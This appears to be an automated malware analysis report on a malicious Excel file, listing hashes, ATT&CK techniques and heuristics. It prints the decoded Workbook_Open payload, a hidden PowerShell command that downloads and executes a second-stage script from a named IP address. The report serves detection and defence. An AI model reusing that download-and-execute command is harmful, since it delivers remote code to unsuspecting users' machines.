Office (OLE) / .XLS malware analysis — malicious · e267f38ea139faae

MALICIOUS

Office (OLE) / .XLS

147.5 KB Created: 2022-01-11 15:33:54 Authoring application: Microsoft Excel Online

MD5: 83370d90b3a59fa6668c1898edd2e77a SHA-1: 0601cf556d3884904cd96f33048c57bc4977f510 SHA-256: e267f38ea139faae1943653f92b1c2d04c5433c68550f9e6b5b31f3bd39ea39f

180 Risk Score

Malware Insights

MITRE ATT&CK

T1059.001 PowerShell T1059.005 Visual Basic T1204.002 Malicious File

The Workbook_Open macro is designed to execute obfuscated PowerShell code. The script reconstructs the command to 'powershell -nop -w hidden -c "IEX (New-Object Net.WebClient).DownloadString(\'http://195.123.111.73/BB2/PS1.txt\')"'. This indicates the macro's intent is to download and execute a second-stage payload from the specified URL. The use of CreateObject and a Workbook_Open auto-execution event are strong indicators of malicious intent.

Heuristics 5

Workbook_Open macro high OLE_VBA_WBOPEN

Workbook_Open macro
CreateObject call high OLE_VBA_CREATEOBJ

CreateObject call
VBA p-code auto-exec with execution tokens high OLE_VBA_PCODE_AUTOEXEC_EXEC

Compiled VBA/cache stream contains an auto-execution token together with shell/download/object-execution tokens. This catches p-code-only or source-extraction-failure macro documents where visible source is unavailable.
Suspicious extracted artifact high EXTRACTED_FILE_STATIC_TRIAGE

One or more files extracted from inside this sample matched static suspicious-content checks such as script obfuscation, encoded payload blobs, packed data, or execution/download terms.
VBA macros detected medium OLE_VBA_MACROS

Document contains VBA macro code

Extracted artifacts 1

Files carved from inside the sample during analysis.

Filename	Kind	Source	Size
`macros.bas` `873978461577191f4e4ec968af10f02c5356c0979a6c2e7f0de6aaa19f09ccf8`	vba-macro	oletools.olevba.extract_macros (decoded VBA source)	2082 bytes
Detection ClamAV: No threats found Obfuscation or payload: likely Carved macro source contains an auto-exec entry point and execution/download terms.

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